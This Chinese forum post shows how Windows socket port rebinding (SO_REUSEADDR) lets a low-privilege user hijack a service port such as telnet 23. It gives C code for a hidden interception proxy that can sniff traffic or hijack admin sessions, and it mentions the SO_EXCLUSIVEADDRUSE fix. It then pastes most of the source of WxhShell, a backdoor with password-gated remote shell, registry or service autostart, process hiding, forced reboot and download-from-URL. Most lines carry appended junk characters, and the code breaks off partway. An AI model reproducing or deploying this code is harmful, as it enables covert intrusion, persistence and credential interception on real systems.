社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19581阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0tm%Kd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .t4IR =Z  
z)=D&\HX  
  saddr.sin_family = AF_INET; /OK.n3Tt  
R:x4j#(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *Eu ca~%=  
`&b 8wF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V"*|`z)  
 W *0XV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j./3)  
$[}31=0  
  这意味着什么?意味着可以进行如下的攻击: .JZoZ.FAb  
`{CaJ6.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %+i g7a:  
sAfSI<L_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <w(UDZ  
;#P@(ZVT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "X g@X5BG  
J2Ocf&y;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hu|NS{Ke-  
R{\vOw:*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C;}~C:aJ  
+|).dm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E:T<mI?d  
{N[IjY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9kuL1tcY  
>,Zjlkh3  
  #include u^|XQWR$:  
  #include uJA8PfbD  
  #include `MlQPLH  
  #include    LpeQx\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l|^p;z: d  
  int main() BhLYLlXPY  
  { = \AI92  
  WORD wVersionRequested; 1Wtr_A  
  DWORD ret; \$T  
  WSADATA wsaData; XU5/7 .  
  BOOL val; mS6 #\'Qa  
  SOCKADDR_IN saddr; vXLiYWo  
  SOCKADDR_IN scaddr; 63QMv[`,  
  int err; v#@"Evh7  
  SOCKET s; T|Sz~nO}f  
  SOCKET sc; {*ATY+  
  int caddsize; wAkpk&R  
  HANDLE mt; 3bu VU& ap  
  DWORD tid;   e3"GC_*#  
  wVersionRequested = MAKEWORD( 2, 2 ); Yw"o_  
  err = WSAStartup( wVersionRequested, &wsaData ); %RG kXOgp  
  if ( err != 0 ) { cjHo?m'  
  printf("error!WSAStartup failed!\n"); LoSblV  
  return -1; z J93EtlF  
  } fQ=Yf?b  
  saddr.sin_family = AF_INET; E#v}//  
   z4b2t}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TDs=VTd@Z  
B/:q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !JzM<hyg3  
  saddr.sin_port = htons(23); fchsn*R%-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ii%^z?'  
  { B BbGq8p  
  printf("error!socket failed!\n"); A&jkc'  
  return -1; ]@vX4G/  
  }  #8MA+  
  val = TRUE; bdZ[`uMD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >A|(mc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  gPh;  
  { "}!|V)K  
  printf("error!setsockopt failed!\n"); ci0)kxUBF  
  return -1; !qS~YA  
  } pYa8iQ`6U;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I;<0v@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B\r2M`N5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J:Ea|tXK^  
{mrTpw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >8D!K0?E  
  { 9+ nB;vA  
  ret=GetLastError(); Ci4`,  
  printf("error!bind failed!\n"); m~'!  
  return -1; Yrs7F.Y"  
  } NQz*P.q  
  listen(s,2); JGOry \  
  while(1) ,Md8A`7x~  
  { $wg5q\Rv  
  caddsize = sizeof(scaddr); L15?\|':Y  
  //接受连接请求 nICc}U?k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K'%2'd  
  if(sc!=INVALID_SOCKET) zsFzF`[k  
  { xHq"1Vs=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }(A`aB_  
  if(mt==NULL) y G)xsY V  
  { T$%r?p(s  
  printf("Thread Creat Failed!\n"); n^B9Mh @  
  break; 3}(6z"r  
  } 1K?RA*aj  
  } ;>np2K<`  
  CloseHandle(mt); %V71W3>6WS  
  } !TvNT}4Z  
  closesocket(s); H )hO/1 m  
  WSACleanup(); _8A  
  return 0; z`$jxSLm  
  }    (-Cxv`7  
  DWORD WINAPI ClientThread(LPVOID lpParam) nNz1gV:0X  
  { rR]U Ff  
  SOCKET ss = (SOCKET)lpParam; {L~j;p_G&  
  SOCKET sc; %c"PMTq(  
  unsigned char buf[4096]; 7rQwn2XD{  
  SOCKADDR_IN saddr; Swz{5 J2C  
  long num; _HF66)X7  
  DWORD val; |a4cER.'2^  
  DWORD ret; CX?q%o2b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3 9to5 s,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6D|[3rXr  
  saddr.sin_family = AF_INET; pMB!I9q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VK*Dm:G0  
  saddr.sin_port = htons(23); waI?X2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [p3{d\=*?  
  { .a2b&}/.d  
  printf("error!socket failed!\n"); ( m/uj z  
  return -1; :B{Wf 2<z  
  } `NYu|:JK:  
  val = 100; |_."U9!Z^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8C]K36q  
  { ze2%#<  
  ret = GetLastError(); * N>n5B2  
  return -1; b .I_  
  } >*s_)IH2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EP,j+^RVf  
  { xfoQx_]$Im  
  ret = GetLastError(); p 4_j>JPv5  
  return -1; ~MWI-oK  
  } #lAC:>s3U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |j$r@  
  { cq]JD6937  
  printf("error!socket connect failed!\n"); & "i4og<  
  closesocket(sc); F t/yPv  
  closesocket(ss); p0*qv"lA  
  return -1; 2[|52+zhc  
  } =mR~\R( I  
  while(1) /T _{k.  
  { L$L/5/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yPY}b_W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `eZzYe(N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y TpiOPf  
  num = recv(ss,buf,4096,0); PAng(tubl  
  if(num>0) Vu.VH([b]Q  
  send(sc,buf,num,0); &O +?#3  
  else if(num==0) /tm2b<G  
  break; n(I,pF  
  num = recv(sc,buf,4096,0); "DaE(S&  
  if(num>0) 4Vtu g>  
  send(ss,buf,num,0); 1lo. X_  
  else if(num==0) _%g L  
  break; P:D;w2'Q  
  } 8\WV.+  
  closesocket(ss); $UNC0 (4  
  closesocket(sc); m tU{d^B  
  return 0 ; {zX]4 1T  
  } |RjAp.pm  
nQGl]2  
Ft E5H  
========================================================== c wNJ{S+  
'9{`Czc(Gb  
下边附上一个代码,,WXhSHELL cWtuI(.  
/!Ay12lKE}  
========================================================== T:T`M:C.  
K|pg'VT"  
#include "stdafx.h" &F- \t5X=i  
r>: ~!o*  
#include <stdio.h> y1{TVpN  
#include <string.h> = 6Fpixq>  
#include <windows.h> vf&_ N  
#include <winsock2.h> RW{y.WhB  
#include <winsvc.h> XHU\;TF  
#include <urlmon.h> QC,fyw\  
x~Y{ {  
#pragma comment (lib, "Ws2_32.lib") H;nEU@>"Z  
#pragma comment (lib, "urlmon.lib") O&dBLh!G  
{FQ@eeU  
#define MAX_USER   100 // 最大客户端连接数 rp9?p%  
#define BUF_SOCK   200 // sock buffer {N3&JL5\"E  
#define KEY_BUFF   255 // 输入 buffer g.Tc>?~  
JDJ"D\85  
#define REBOOT     0   // 重启 TAxu]C$P  
#define SHUTDOWN   1   // 关机 +m9ouF  
}!Y=SP1e  
#define DEF_PORT   5000 // 监听端口 N5[^W`Qf  
cY5w,.Q/!  
#define REG_LEN     16   // 注册表键长度 LZ34x: ,C  
#define SVC_LEN     80   // NT服务名长度 ;NOmI+t0w&  
g,9&@g/  
// 从dll定义API 3 ,zW6 -}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }u9#S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?g\emhG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nq9\2p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rh}}8 sv  
HYg! <y  
// wxhshell配置信息 IM% ,A5u  
struct WSCFG { 5U-SIG*  
  int ws_port;         // 监听端口 ]A ;.}1'  
  char ws_passstr[REG_LEN]; // 口令 yk y% +@2q  
  int ws_autoins;       // 安装标记, 1=yes 0=no F r!FV4  
  char ws_regname[REG_LEN]; // 注册表键名 -MRX@a^1  
  char ws_svcname[REG_LEN]; // 服务名 5JHWt<n{P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IRGcE&m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h;@c%Vm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PYBE?td  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fc#Sn2p*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @U3:9~Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {d XTj7  
T>f6V 5  
}; OlB9z  
b'``0OB)  
// default Wxhshell configuration z&cM8w:  
struct WSCFG wscfg={DEF_PORT, 7Db}bDU1 |  
    "xuhuanlingzhe", k#bG&BF  
    1, FDFwx|  
    "Wxhshell", 0kSM$D_  
    "Wxhshell", MuJP.]5>`  
            "WxhShell Service", %s497'  
    "Wrsky Windows CmdShell Service", a:8 MoH4  
    "Please Input Your Password: ", PB *v45  
  1, []v$QR&u#v  
  "http://www.wrsky.com/wxhshell.exe", ^U5Qb"hz  
  "Wxhshell.exe" "~=-Q#xO  
    }; V@ g v  
[YP{%1*RM  
// 消息定义模块 /ej[oR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NVghkd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CY*o"@-o5)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -)Bvx>8fq-  
char *msg_ws_ext="\n\rExit."; iO&*WIbg  
char *msg_ws_end="\n\rQuit."; #i .,+Q  
char *msg_ws_boot="\n\rReboot..."; ,PmUl=  
char *msg_ws_poff="\n\rShutdown..."; Nc &J%a  
char *msg_ws_down="\n\rSave to "; %3O))Ug5  
,{mv6?_  
char *msg_ws_err="\n\rErr!"; m}u)C&2>  
char *msg_ws_ok="\n\rOK!"; c<,LE@ V  
%&_^I*  
char ExeFile[MAX_PATH]; !zvjgDlZv  
int nUser = 0; PtYG%/s  
HANDLE handles[MAX_USER]; .uVd'  
int OsIsNt; 6I: 6+n  
jQxhR  
SERVICE_STATUS       serviceStatus; O/|))H?C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Um}AV  
7O'.KoMw  
// 函数声明 K-~gIlbQ`  
int Install(void); JO*/UC>"  
int Uninstall(void); BPa,P_6(  
int DownloadFile(char *sURL, SOCKET wsh); CIz0Gjtx6m  
int Boot(int flag); Q^ZM|(s#  
void HideProc(void); 7*j!ZUzp  
int GetOsVer(void); F)KR8 (  
int Wxhshell(SOCKET wsl); I 1n,c d[  
void TalkWithClient(void *cs); >s 6ye  
int CmdShell(SOCKET sock); ^D5Jqh)  
int StartFromService(void); V*ao@;sD  
int StartWxhshell(LPSTR lpCmdLine); 76"4Q!  
DI8<0.L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `3 i<jZMG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PxgJ7d  
-$?t+ "/E  
// 数据结构和表定义 `vMhrn  
SERVICE_TABLE_ENTRY DispatchTable[] = y+T[="W  
{ ~uH_y-  
{wscfg.ws_svcname, NTServiceMain}, 04jvrde8-O  
{NULL, NULL} yq49fEgc@U  
}; 'AX5V-t  
5wmd[YL  
// 自我安装 #GLW3}  
int Install(void) 5?F5xiW  
{ t[J=8rhER  
  char svExeFile[MAX_PATH]; e*qGrg(E  
  HKEY key; M,S'4Sz uk  
  strcpy(svExeFile,ExeFile); P woiX#vz  
 *<W8j[?  
// 如果是win9x系统,修改注册表设为自启动 S\h5 D2G;  
if(!OsIsNt) { HO['o{>BL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hO&b\#@~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CxeW5qc  
  RegCloseKey(key); GLyPgZ`|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :^ WF% X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G~o!u8^;  
  RegCloseKey(key); 71\53Qr#U  
  return 0; 3ZI7;Gw  
    } njf\fw_  
  } C<AW)|r_  
} ;RJ 8h x  
else { ?*yyne  
n Syq}Y3  
// 如果是NT以上系统,安装为系统服务 #kASy 2t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V0v,s^\H  
if (schSCManager!=0) 7jIBE  
{ MNWI%*0LO  
  SC_HANDLE schService = CreateService Fu_I0z  
  ( VK]U*V1  
  schSCManager, oR&z,%0wMK  
  wscfg.ws_svcname, jtlRom}  
  wscfg.ws_svcdisp, *9"x0bth  
  SERVICE_ALL_ACCESS, n V7Vc;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o^vX\a?`u  
  SERVICE_AUTO_START, E Izy  
  SERVICE_ERROR_NORMAL, .dk<?BI#H  
  svExeFile, 7Vsp<s9bj  
  NULL, ]vlBYAW'  
  NULL, R`cP%7K  
  NULL, 1'\QD`M9^  
  NULL, X0u,QSt' O  
  NULL q9_ $&9  
  ); 2^=.j2  
  if (schService!=0) z'"7zLQ  
  { q:/df]Ntt  
  CloseServiceHandle(schService); N=BG0t$  
  CloseServiceHandle(schSCManager); (_zlCHB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  vUJ; D  
  strcat(svExeFile,wscfg.ws_svcname); M/quswn1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nFNRiDx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *u1q7JFQk  
  RegCloseKey(key); &jHsFS  
  return 0; v^b4WS+.:  
    } "vSKj/]  
  } NC%hsg^0/  
  CloseServiceHandle(schSCManager); 4}h}`KZZ  
} 7Hr_ZwO/^  
} C)z4Cn9#  
"0PrdZMx  
return 1; Ctz#9[|  
} m+hI3@j  
)Xjn:  
// 自我卸载 Q+=pP'cV  
int Uninstall(void) tO 8\} u4c  
{ b$ 7 ]cE  
  HKEY key; &)mZ~cPU3  
z~pp7  
if(!OsIsNt) { V_gl#e#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x/umwT,ov  
  RegDeleteValue(key,wscfg.ws_regname); `y3'v]  
  RegCloseKey(key); yx5e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &.,K@OFE}  
  RegDeleteValue(key,wscfg.ws_regname); zHb [.ry~  
  RegCloseKey(key); s2{SbOBis  
  return 0; N s+g9+<A  
  } V ql4*OJW  
} qT@h/Y  
} |nZ^RCHog  
else { e{5?+6KH  
c4Zpt%:}h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TwPQ8}pj?  
if (schSCManager!=0) Reikf}9Q  
{ iPTQqx-m$7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hw]E#S  
  if (schService!=0) ~\_VWXXvIW  
  { wQ/* f9  
  if(DeleteService(schService)!=0) { Tu#;Y."T  
  CloseServiceHandle(schService); X ."z+-eh  
  CloseServiceHandle(schSCManager); = ^NvUrK  
  return 0; bV8+E u  
  } %xg+UW }  
  CloseServiceHandle(schService); \v Ajg  
  } R@\}iyM  
  CloseServiceHandle(schSCManager); ^HSxE  
} @.e X8~3=  
} >ou= }/<  
?{S>%P A_B  
return 1; HY)xT$/J  
} <: v+<)K  
dH^6K0J  
// 从指定url下载文件 by@KdQow  
int DownloadFile(char *sURL, SOCKET wsh) ST*h{:u&A  
{ );gY8UL^  
  HRESULT hr; }csA|cC  
char seps[]= "/"; W[8Kia-OD  
char *token; a;HAuy`M x  
char *file; E 5&Z={  
char myURL[MAX_PATH]; :(n<c  
char myFILE[MAX_PATH]; I}4 PB+yu  
=Z^5'h~  
strcpy(myURL,sURL); Cs6`lX >  
  token=strtok(myURL,seps); z qeQ  
  while(token!=NULL) j>\c > U  
  { r<UVO$N  
    file=token; AHb_BgOU*  
  token=strtok(NULL,seps); VL9wRu;  
  } egaX[ j r  
=Zq6iMD  
GetCurrentDirectory(MAX_PATH,myFILE); JI "/,fK^  
strcat(myFILE, "\\"); NKO"'   
strcat(myFILE, file); }`"}eN @,  
  send(wsh,myFILE,strlen(myFILE),0); /t0L%jJZ  
send(wsh,"...",3,0); j<t3bM-G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :,l7e  
  if(hr==S_OK) a: "1LnvR  
return 0; SyvoN, ;Q  
else Rd#R}yA  
return 1; Y!<m8\  
W{}$c`,R  
} P1eSx#3bR  
+F; 2FD$  
// 系统电源模块 RQ,#TbAe  
int Boot(int flag) D\Ak-$kJ^  
{ \;{ ]YX  
  HANDLE hToken; t? GH V3V  
  TOKEN_PRIVILEGES tkp; d51lTGH7Z  
<Vhd4c  
  if(OsIsNt) { G^c,i5}w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v Y[s#*+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jrib"Bh3,  
    tkp.PrivilegeCount = 1; U#3N90,N=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9-42A7g^C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nGF +a[Z  
if(flag==REBOOT) { }_D.Hy5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g*V.u]U!i  
  return 0; (T%F^s5D  
} 1q}L O2  
else { V:n0BlZ,B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a"vzC$Hxd  
  return 0; v)5;~.+%  
} "V|Rq]_+%  
  } }t)+eSUA  
  else { jx}&%p X  
if(flag==REBOOT) { P<]U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .WF"vUp  
  return 0; kKyU?/aj  
} b"I#\;Ym  
else { M)bQvjj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cgb>Naa<  
  return 0; h.\I tK{)  
} >]h{[kU %4  
} 51k}LH  
d0aXA+S%  
return 1; Qte5E}V`  
} =g#PP@X]D!  
]rG=\>U3~  
// win9x进程隐藏模块 bY~K)j v3&  
void HideProc(void) ?qjdmB|w  
{ OgF[=  
CD`a-]6qA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HMq}){=S  
  if ( hKernel != NULL ) t ed:]  
  { zj`c%9N+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^#_gk uyd!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m%|\AZBA#  
    FreeLibrary(hKernel); z9o]);dZ  
  } >dAl*T  
IK -vcG  
return; S@qPf0dL<  
} K"!rj.Da  
&f.5:u%{b  
// 获取操作系统版本 F-;JN  
int GetOsVer(void) O/~T+T%  
{ FQWjL>NB  
  OSVERSIONINFO winfo; UFB|IeX?q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YgEd%Z%4  
  GetVersionEx(&winfo);  /~"-q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v `S5[{6  
  return 1; i /X3k&  
  else %KyZ15_(-L  
  return 0; %xgP*%Sv2  
} .O- )m'5  
5Q10Ohh  
// 客户端句柄模块 ZX_QnSNZ?  
int Wxhshell(SOCKET wsl) mI lg=8:  
{ 3p#UEH3  
  SOCKET wsh; LK h=jB^bT  
  struct sockaddr_in client; ktU:Uq  
  DWORD myID; ) 57'<  
x^y$pr  
  while(nUser<MAX_USER) khX/xL  
{ stw@@GQ  
  int nSize=sizeof(client); D^r g-E[L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sm/8VSY  
  if(wsh==INVALID_SOCKET) return 1; BbB3#/g  
0]>bNbLB"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~A0AB `7  
if(handles[nUser]==0) =-dnniKW4  
  closesocket(wsh); DFr$2Y3H  
else Zr}>>aIJ]k  
  nUser++; amsl>wc!  
  } 11PL1zzH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D4$b-?y  
%<yW(s9{  
  return 0; r`"_D%kc  
} r'i99 ~  
Rxy|Ag/I;V  
// 关闭 socket o#FctM'Z  
void CloseIt(SOCKET wsh) #hBqgG:>  
{ Zl5DlRuw  
closesocket(wsh); br\3}  
nUser--; lr&2,p<  
ExitThread(0); 4W>DW`{  
} LsR<r1KDJ  
2[w9#6ly  
// 客户端请求句柄 H [+'>Id:  
void TalkWithClient(void *cs) <(E)M@2  
{ uz8eS'8  
i?_Q@uA~<:  
  SOCKET wsh=(SOCKET)cs; mLq0;uGL|  
  char pwd[SVC_LEN]; P~(&lu/;P  
  char cmd[KEY_BUFF]; a Mqt2{f+  
char chr[1]; -n:2US<  
int i,j; n l5+#e*\  
puOMtCI  
  while (nUser < MAX_USER) { &Hw:65O  
3g7]$}  
if(wscfg.ws_passstr) { 1=]#=)+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $bp'b<jx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D u<P^CE  
  //ZeroMemory(pwd,KEY_BUFF); !jP[=  
      i=0; :/->m6C`0  
  while(i<SVC_LEN) { xEG:KSH  
py$Gy-I~[  
  // 设置超时 GUQ3XF\  
  fd_set FdRead; ]`-o\,lq  
  struct timeval TimeOut; jzi%[c<G  
  FD_ZERO(&FdRead); *r>Y]VG;S  
  FD_SET(wsh,&FdRead); F]OWqUV  
  TimeOut.tv_sec=8; `@ Z$+  
  TimeOut.tv_usec=0; [<+T@"y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D*L@I@ [  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aR6~r^jB  
K*~xy bA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (ht"wY#T<(  
  pwd=chr[0]; d/NjY[`5+  
  if(chr[0]==0xd || chr[0]==0xa) { 1sUgjyGQ  
  pwd=0; zRh)q,Dt  
  break; $zz4A~   
  } `DSDuJw%  
  i++; :Nz TEK  
    } %m|BXyf]_B  
B{#Fm6  
  // 如果是非法用户,关闭 socket  ^Oj^7.T+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6heK8*.T  
} H( LK}[  
dnANlNMk?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xfUV'=~(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ILG&l<!E  
BDp(&=ktq  
while(1) { axG%@5  
NrcV%-+u%  
  ZeroMemory(cmd,KEY_BUFF); lyowH{.N"3  
$1X !Ecq_  
      // 自动支持客户端 telnet标准   m[ S1  
  j=0; EhW@iYL  
  while(j<KEY_BUFF) { }lk9|U#6*`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TPJuS)TU9  
  cmd[j]=chr[0]; uxW |&q  
  if(chr[0]==0xa || chr[0]==0xd) { $y)tcVc  
  cmd[j]=0; %PVu>^  
  break; y]Q/(O  
  } J^kSp  
  j++; - 6q7ze{@  
    } BT:b&"AR[  
_J>Ik2EF  
  // 下载文件 :>y5'q@R  
  if(strstr(cmd,"http://")) { 98}l`J=i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ LH).\V  
  if(DownloadFile(cmd,wsh)) @&h_+|:-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q{hK+z`D  
  else &Ai +t2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6_EfOD9  
  } ?:PF;\U  
  else { %AMF6l[  
_=w=!U&W  
    switch(cmd[0]) { CS^|="Zs  
  a/d8_(0  
  // 帮助 nQw, /L k  
  case '?': { ylmVmHmc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +SFo2Wdr43  
    break; *@ \LS!N  
  } Swv =gu  
  // 安装 Or1ikI"  
  case 'i': { <t*3w  
    if(Install()) yWYsN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -z/>W+k  
    else xG%O^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c*8k _o,  
    break; ?f6Fj  
    } P+p:Ed 80  
  // 卸载 G!GGT?J  
  case 'r': { B3u:D"t  
    if(Uninstall()) ~\R+p~>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3k+46Wp  
    else P; =,Q$e8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %yy|B  
    break; )=h+5Z>E1  
    } g*U[?I"sC  
  // 显示 wxhshell 所在路径 (S j?BZjC  
  case 'p': { 6K.0dhl>`B  
    char svExeFile[MAX_PATH]; -A8CW9|mk  
    strcpy(svExeFile,"\n\r"); ~:A=o?V2  
      strcat(svExeFile,ExeFile); ~RM_c  
        send(wsh,svExeFile,strlen(svExeFile),0); xqKj&RuLu  
    break; [MM`#!K%  
    } uY )|   
  // 重启 j&?@:Zg v  
  case 'b': { 0bIhP,4&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); grCz@i  
    if(Boot(REBOOT)) yzCamm4~0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cZ/VMQEr  
    else { ;#2yF34gv  
